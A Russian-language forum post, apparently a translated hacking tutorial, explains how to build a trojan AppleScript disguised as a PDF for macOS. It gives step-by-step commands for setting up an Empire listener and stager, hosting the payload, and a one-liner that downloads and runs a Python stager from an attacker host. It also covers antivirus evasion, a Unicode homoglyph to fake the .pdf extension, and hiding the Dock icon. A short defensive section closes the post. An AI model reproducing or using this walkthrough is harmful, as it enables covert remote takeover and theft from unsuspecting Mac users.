Создаем и криптуем фальшивый PDF-файл с трояном на AppleScript

xxxxxxxxxxxxxxxxxxxxx

Ktafevinpag

Пользователь
Регистрация
23/6/16
Сообщения
4
Большинство хакеров используют многочисленные уязвимости в продуктах компании Adobe, чтобы доставлять полезные нагрузки пользователям Windows через зараженные PDF-файлы. Но далеко не каждый знает, что вредоносные PDF-файлы также могут нанести ущерб пользователям Mac, использующим дефолтное приложение для предварительного просмотра PDF. Посему лишний раз подумайте, прежде чем кликнуть по PDF-файлу на вашем MacBook’е — он может оказаться трояном, содержащим внутри руткит.​
В этой мини-серии из двух частей мы подробно расскажем, как сделать файл, похожий на обычный PDF-файл, который на самом деле является троянским AppleScript’ом, незаметно запускающим вредоносный код на целевом MacBook или на другом компьютере Mac. На GIF-ке ниже вы можете увидеть реальный PDF-файл, а также его фейковую PDF-версию с вредоносным кодом.

Для начала рассмотрим принцип работы такой атаки.
Система атакующего настраивается на использование Empire и размещает вредоносный Python-скрипт. Делается AppleScript-файл, который выглядит как настоящий PDF. В момент, когда жертва откроет AppleScript, он сначала загрузит и откроет реальный PDF для того, чтобы убедить жертву, что фейковый PDF-файл настоящий, а затем он загрузит с сервера хакера и выполнит вредоносный Python-скрипт. После того, как будет запущен Python-скрипт, между целевым Mac и сервером злоумышленника будет установлено соединение с целью удаленного управления компьютером жертвы.

Шаг 1. Осваиваемся с Empire
Для начала мы будем использовать Empire (ранее известную как PowerShell Empire). Это фреймворк для пост-эксплуатации, прославившийся возможностью генерировать трудно обнаруживаемые полезные нагрузки PowerShell для Windows.
Empire основан на работе нескольких других проектов, используемых для предоставления своих базовых функциональных возможностей и возможностей своих модулей. К счастью, он также поддерживает полезные нагрузки Python, которые можно использовать против MacOS и других Unix-подобных операционных систем.
Читателям, незнакомым с этим инструментом, рекомендуем ознакомиться с руководствами для начинающих по Empire, поскольку мы не будем объяснять, как установить Empire на Kali Linux или подробно описывать все доступные параметры stager и listner.
Последующие шаги можно выполнять на Kali Linux (для локальных сетевых атак) или с виртуального частного сервера на Debian (для глобальных атак).

Шаг 2. Создание HTTP-слушателя Empire
С помощью команды cd перейдите в директорию Empire/ и выполните команду ниже:
./empire

«Слушатели» откроют порты для прослушивания на сервере хакера, на котором работает Empire. Эти порты будут позже использоваться скомпрометированным MacBook’ом для подключения к «слушателю» Empire. Для приема входящих подключений от MacBook также будет создан новый «слушатель».
Чтобы просмотреть список всех имеющихся «слушателей», воспользуйтесь этой командой:
listeners

На свежей установке Empire новых слушателей не будет, и она выдаст сообщение «No listeners currently active» (нет активных слушателей). Можно включить стандартного HTTP-слушателя с помощью команды ниже:
uselistener http

После установки типа «слушателя» можно воспользоваться командой info для просмотра доступных параметров:
info

Здесь есть несколько опций, описание которых (к сожалению) выходит за рамки данной статьи. Параметры по умолчанию отлично работают и можно использовать только их, но мы рекомендуем поиграть с доступными опциями и настроить «слушателей» под себя, под свои нужды.
Убедитесь, что параметры Port и Host были установлены в значениях 80 и 0.0.0.0 соответственно, поскольку эти параметры имеют решающее значение для проработки нашей статьи. Вы можете установить эти значения, используя следующие две команды. Использование хоста с IP 0.0.0.0 говорит Empire, что данный «слушатель» будет доступен на любом интерфейсе. Если Empire используется против MacBook в локальной сети, то «слушатель» будет доступен на локальном IP-адресе хакера (например, 192.168.0.4). В качестве альтернативы, если Empire установлен на VPS, «слушатель» будет доступен через удаленный IP-адрес хакера этого VPS-сервера.
set Port 80
set Host 0.0.0.0

Чтобы запустить «слушателя» Empire, используйте команду execute. В конце концов он должен выдать сообщение: «Listener successfully started!» (Слушатель успешно запущен!)
execute

Для того, чтобы проверить, что «слушатель» действительно запущен, можно еще раз воспользоваться командой listeners:
listeners

Появится список всех ваших активных «слушателей». Обратите внимание на имя слушателя (Столбец Name). По умолчанию оно будет автоматически установлено в значение «http». Если во время тестирования Empire будут созданы несколько слушателей, то по умолчанию все последующие слушатели будут создаваться с именами «http1», «http2» и т.д.
(Empire: listeners/http) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://1x.xxx.xxx.x6:80 5/0.0

(Empire: listeners) > _

С созданием «слушателя» для этой атаки мы закончили. Дальше нужно сгенерировать stager-нагрузку.

Шаг 3. Создание вредоносной Stager-нагрузки для macOS
Стейджеры похожи на полезные нагрузки, их используют для создания подключений к «слушателям» Empire в тот момент, когда пользователь-жертва его откроет.
Чтобы просмотреть доступные stager’ы, введите usestager, затем пробел и нажмите Tab на клавиатуре:
usestager <* PRESS TAB *>

В Empire доступно около десятка stager’ов, посвященных работе с macOS (они начинаются с «osx»). В этой статье мы расскажем, как сгенерировать AppleScript stager’а.
(Empire: listeners) > usestager
multi/bash osx/macho windows/launcher_bat
multi/launcher osx/macro windows/launcher_lnk
multi/macro osx/pkg windows/launcher_sct
multi/pyinstaller osx/safari_launcher windows/launcher_vbs
osx/war osx/teensy windows/launcher_xml
osx/applescript windows/backdoorLnkMacro windows/macro
osx/application windows/bunny windows/macroless_msword
osx/ducky windows/csharp_exe windows/shellcode
osx/dylib windows/dll windows/teensy
osx/jar windows/ducky
osx/launcher windows/hta
(Empire: listeners) > _

AppleScript — это скриптовый язык, созданный Apple. Он позволяет пользователям напрямую управлять скриптовыми приложениями macOS, а также частями самой macOS. С его помощью пользователи могут создавать скрипты для автоматизации повторяющихся задач, комбинирования функций множества скриптовых приложений, добавления новых функций в приложения Mac и создания сложных рабочих процессов. AppleScript в настоящее время включен во все версии macOS как часть пакета средств автоматизации системы.
Для того, чтобы сгенерировать macOS-stager на AppleScript, используйте команду ниже:
usestager osx/applescript

Затем просмотрите доступные параметры, используя info:
info

Большое значение имеет настройка параметра «Listener» для сервера «слушателя», созданного на предыдущем шаге. Это скажет стейджеру, к какому серверу ему нужно будет подключаться, когда AppleScript будет выполнен на целевом MacBook.
(Empire: listeners) > usestager osx/applescript
(Empire: stager/osx/applescript) > info
Name: AppleScript
Description:
Generates AppleScript to execute the Empire stage0 launcher.
Options:
Name Required Value Description
---- -------- ----- -----------
Listener True http Listener to generate stage for.
OutFile False File to output AppleScript to, otherwise displayed on the screen.
SafeChecks True True Switch. Checks for LittleSnitch or a Sandbox, exit the staging process if true. Defaults to True.
Language True python Language of the stager to generate.
UserAgent False default User-agent string to use for the staging request (defauult, none, or other).

Установите значение параметра Listener, используя следующую команду. Здесь должно использоваться имя слушателя — параметр Name (в этом примере мы используем http):
set Listener http

Затем сгенерируйте AppleScript stager’а с помощью команды generate.
generate

Сейчас мы немного изменим содержание сгенерированного стейджера и он будет немного отличаться от его предполагаемого использования. Имейте в виду, что код в приведенном ниже скриншоте представляет собой Python-скрипт с кодировкой base64. Этот скрипт предназначен для выполнения на MacBook и для создания соединения с сервером хакера. Вместо того, чтобы встраивать этот Python-скрипт в AppleScript, он будет размещен на сервере хакера и будет скачен компьютером жертвы при открытии поддельного PDF-файла.

AppleScript мы еще будем использовать в последующих шагах для скачивания и выполнения Python-скрипта, но встраивать его в AppleScript мы не будем. Такая схема работы позволяет избежать обнаружения антивирусами, т.к. фактически Python-скрипт будет отсутствовать в фейковом PDF-файле в момент сканирования программой VirusTotal.

Шаг 4. Сохранение macOS- stager
Прежде чем сохранить сгенерированный Python-скрипт, необходимо создать новую директорию. Эта директория будет заполнена несколькими важными для атаки файлами.
Для начала откройте новый терминал и используйте команду mkdir для создания директории с именем files:
mkdir files

Затем перейдите в эту директорию files/
cd files/

Выделенный раздел в скрипте Python с кодировкой base64 (см. предыдущий шаг) нужно скопировать и сохранить в локальный файл с именем script в директории files/. Это можно сделать с помощью редактора nano:
nano script

Сохраните содержание файла, нажав Ctrl + X, а для выхода Ctrl + Y, затем Enter.

Шаг 5. Запуск веб-сервера Python3
Сервер Python3 можно запустить с помощью следующей команды:
python3 -m http.server 8080 &

Python3 создаст веб-сервер на порту 8080, сделав файлы в этой директории доступными для всех. В нашем случае мы хотим, чтобы скрипт, содержащий закодированный Python-код стал доступен для пользователя-жертвы macOS. Оператор & запустит веб-сервер Python3 в качестве фонового процесса. Использование этого оператора на VPS-сервере будет тоже полезным, поскольку это сделает сервер доступным даже после закрытия SSH-сеанса.
`/ tokyoneon ~/files
> python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
_



Маскировка macOS-stager
Вот и все, что касается установки Empire-слушателя, генерации AppleScript-стейджер и размещения Python-скрипта на веб-сервере. В следующей статье мы покажем, как сделать так, чтобы AppleScript загружал и незаметно выполнял Python-скрипт, а также как сделать AppleScript похожим на настоящий PDF-файл.
Создав macOS-стейджера и разместив на своем сервере «слушателя» Empire, хакер может создать вредоносный AppleScript, а затем замаскировать его под обычный PDF-файл, используя несколько приемов работы с юникодом и иконками.
Для этой атаки необходим реальный PDF-файл. Файлы размером более 1 МБ будут слишком большими и заставят пользователя задуматься о причинах такого размера. Настоящий PDF-файл будет каждый раз скачиваться, когда жертва будет открывать AppleScript с трояном (поддельный PDF). Поэтому реальный PDF-файл должен быть только с одной страницей и достаточно маленьким по размеру, чтобы быстро скачиваться. Иначе жертва начнет задаваться вопросом, почему открытие PDF-файла в режиме предварительного просмотра занимает несколько секунд, когда он должен открываться мгновенно.

Маскируем скрипт
Покажем как быстро создать PDF-файл, используя обложку учебного пособия CompTIA, найденного в AllITebooks, но в настоящей жизненной ситуации должно использоваться изображение более высокого качества.

Шаг 1. Скопируйте обложку для PDF
В вашем веб-браузере перейдите на сайт с PDF, который вы хотите копировать. В нашем примере это учебное пособие CompTIA с AllITebooks. На самом деле вам не нужно загружать сам PDF-файл, вам просто нужно сохранить картинку, которая появляется при предварительном просмотре, поэтому кликните на ней правой кнопкой мыши, выберите «Сохранить изображение как», затем сохраните его с именем cover.jpg в папку files/.


Шаг 2. Установите GIMP и откройте картинку
Чтобы что-то сделать с картинкой обложки, нам понадобится GIMP — популярное приложение для обработки изображений, которое абсолютно бесплатно. Чтобы установить его, используйте команду apt-get:
apt-get install gimp

После установки откройте в GIMP файл cover.jpg с помощью этой команды:
gimp cover.jpg



Шаг 3. Экспортируйте картинку обложки в PDF-формат
Затем экспортируйте картинку в папку files/, перейдя в меню «Файл», затем «Экспортировать как». Измените имя файла на real.pdf, и выберите тип файла «Portable Document Format (* .pdf)».


Шаг 4. Измените размер холста
Значки Apple должны быть абсолютно симметричными квадратами, а cover.jpg — прямоугольная картинка. Чтобы исправить это, перейдите к кнопке «Изображение» в GIMP, а затем отредактируйте «Размер холста».

Измените ширину так, чтобы она соответствовала высоте и кликните на «Изменить размер», чтобы сохранить изменения. На новом холсте будет отображаться много прозрачного пространства с правой стороны изображения. Чтобы центрировать изображение, используйте инструмент «Выровнять», который можно найти в меню «Инструменты», затем —«Инструменты преобразования».

Кликните левой кнопкой мыши один раз на картинку, чтобы ее выбрать, а затем кликните по кнопке «Выровнять по центру». Обратите внимание, что теперь прозрачное пространство находится по обеим сторонам картинки обложки, как показано на скриншоте ниже.


Шаг 5. Измените размер картинки
Измените размер изображения, перейдя в меню «Изображение», затем в «Масштабировать изображение», и измените ширину и высоту до 256 пикселей.


Шаг 6. Экспортируйте картинку обложки в PNG-формат
Опять экспортируйте картинку в папку files/, перейдя в меню «Файл», затем «Экспорт как». Измените имя файла на cover.png, а тип файла — на «PNG-изображение (*.png)».


Шаг 7. Конвертируйте в ICNS-формат
Последний шаг для картинок — преобразовать cover.png в формат файла значка ICNS от Apple. Это можно сделать, загрузив cover.png на сервис cloudconvert и кликнув на кнопку «Start Conversion».

Когда конвертация закончится, скачайте и сохраните .icns-файл в папку files/. Теперь в этой папке уже должно лежать четыре файла (вы можете это проверить с помощью команды ls).
`/ tokyoneon ~/files
> ls
cover.icns cover.jpg cover.png real.pdf

Cover.jpg и cover.png использовались в качестве шаблонов и больше нам не нужны. Real.pdf — это небольшой PDF-файл, который как раз и будет скачиваться всякий раз, когда цель откроет AppleScript (поддельный PDF). Cover.icns — это файл значков Apple, который будет использоваться на более позднем этапе.
Вот и все, что касалось использования Kali Linux для этой атаки. Чтобы создать вредоносный AppleScript (поддельный PDF), мы будем использовать редактор Script Editor в macOS High Sierra.

Шаг 8. Создание AppleScript
На самом деле троянский AppleScript можно написать и с помощью Kali, но сложность этой задачи выходит за рамки этой статьи. Поэтому для упрощения процесса мы будем использовать macOS с AppleScript версии 2.7 и Script Editor версии 2.10. Если вы хотите узнать, как все-таки это сделать на Kali Linux, то пишите в комментарии, и мы подумаем, что можно с этим сделать.
Для начала скопируйте на рабочий стол macOS настоящий PDF-файл, который будет потом клонирован. Это даст возможность видеть изменения, происходящие с фейковым PDF-файлом.

Теперь найдите и откройте встроенный Script Editor от Apple из Spotlight, Launchpad или из папки «Утилиты» в «Приложениях», затем скопируйте приведенный ниже скрипт в окно редактора. Это однострочный AppleScript, который будет выполняться на MacBook’е жертвы, когда она кликнет по поддельному PDF-файлу.
do shell script «s = ATTACKER-IP-ADDRESS: PORT; curl -s $ s / real.pdf | open -f -a Preview.app & curl -s $ s / script | python -»

  • Начало скрипта (do shell script) — это AppleScript, который инструктирует MacBook выполнить последующий код.
  • Сервер хакера устанавливается как переменная (s=ATTACKER-IP-ADDRESSORT) и его значение нужно изменить на локальный IP-адрес хакера. Например, s=192.16.0.14:8080.
  • Настоящий PDF-файл скачивается (curl -s $s/real.pdf) с сервера хакера, затем передается через туннель (|), а потом открывается (open -f -a Preview.app) с помощью приложения для предварительного просмотра macOS.
  • Наконец, Empire-стейджер, сохраненный как «script» на сервере атакующего, скачивается (& curl -s $s/script | python -) и выполняется с помощью Python на MacBook’е жертвы.
Чтобы сохранить скрипт, кликните на меню «Файл», затем «Экспорт».

Экспортируйте его на рабочий стол и назовите файл fake. Измените формат файла на «Приложение» (Application), и снимите флажок c «Показывать экран запуска».

Вообще говоря, поддельный PDF ведет себя так, как и предполагалось. Но если посмотреть на эти два файла, расположенные рядом друг с другом бок о бок, то видно, что еще нужно поработать над тем, чтобы он выглядел как настоящий PDF-файл.


Шаг 9. Измените иконку
Как видно на GIF-ке выше, для файла real.pdf macOS для генерации иконки использует первую страницу PDF-файла. Это поведение можно, конечно, легко сэмулировать с помощью ранее созданного .icns-файла. Чтобы изменить значок, переместите файл cover.icns из системы Kali в MacBook, кликните правой кнопкой мыши на фейковом файле и выберите «Получить информацию».

Для изменения значка перетащите файл cover.icns в окно Информация.

Теперь AppleScript больше похож на настоящий PDF-файл. Немного терпения, помощь GIMP и мы легко доработаем сгиб бумаги в правом верхнем углу, затенение вокруг значка и пружинку. Детали дальнейшей обработки картинки обложки немного утомительны, поэтому мы идем дальше, но идею вы поняли


Шаг 10. Скройте расширение файла с помощью Unicode
Большая проблема — это имя файла. В идеале желательно использовать AppleScript с расширением PDF-файла, как и планировалось. Но изменение расширения файла на .pdf заставит macOS отображать настоящее расширение файла AppleScript.

Как вы видите выше, macOS автоматически добавляет расширение .app. Один из способов добиться убедительного расширения файла — использовать Unicode — стандарт кодировки символов, который предоставляет каждому символу уникальный номер.
Юникодный символ «U + 1E0B» — это латинская маленькая буква D с точкой над ней и, с первого взгляда, выглядит точно так же, как обычный символ «d».

Если копировать этот символ со страницы в Википедии и вставить его в имя файла AppleScript, то это сделает расширение файла более убедительным.

С первого взгляда эту крохотную точку можно легко ошибочно принять за пылинку на мониторе. При более близком рассмотрении разница в латинском «d» более очевидна.

Это всего лишь один из многих доступных символов Юникода, которые можно использовать для спуфинговых и других атак.

Шаг 11. Скройте Python-скрипт из нижней панели
Еще одна проблема, которую мы нашли с использованием AppleScript’ов заключается в том, что нижняя панель (Dock) отображает новые элементы после того, как скрипт будет выполнен.

Один значок представляет собой превью реального PDF-файла, а другой значок — вредоносный Python-скрипт, который выполняется в фоновом режиме. Чтобы решить эту проблему, щелкните правой кнопкой мыши на файл fake.pdf, а затем «Показать содержимое пакета».

Перейдите в папку «Содержание» и откройте файл «Info.plist» в редакторе TextEdit. Добавьте следующий NSUIElement в файл Info.plist.
<key>NSUIElement</key>
<string>1</string>

Вот как это выглядит в TextEdit:

Теперь открытие фальшивого PDF-файла не приведет больше к созданию двух иконок на нижней док-панели в macOS.


Заключение
Если вы не хотите стать жертвой атаки при открытии вредоносных PDF-файлов на вашем MacBook или другом компьютере Mac, то есть несколько простых правил, выполнение которых поможет обнаружить такую атаку:
Не делайте двойных кликов по файлам. Всегда лучше явным образом выбирать, какую программу вы хотите использовать при открытии файлов. Кликните правой кнопкой мыши по нужному файлу и вручную выберите приложение из меню «Открыть с помощью». Отображайте расширения файлов. Этот трюк Unicode был протестирован против High Sierra с настройками Finder’а, используемыми по умолчанию, где была отключена функция «Показывать расширения файлов». Чтобы включить этот параметр, перейдите в «Finder» в меню, затем «Preferences» и посмотрите вкладку «Дополнительно».

В последующей серии по взлому MacOS будет еще больше материала. В следующих статьях мы будем рассматривать векторы для доставки файлов fake.pdf ничего не подозревающим пользователям MacOS, постэксплуатацию кейлоггеров, сброс паролей Keychain, создание скриншотов через веб-камеру и многие другие вещи. Наш эпический квест, разрушающий миф о том, что macOS более безопасна, чем Windows 10, еще не закончен.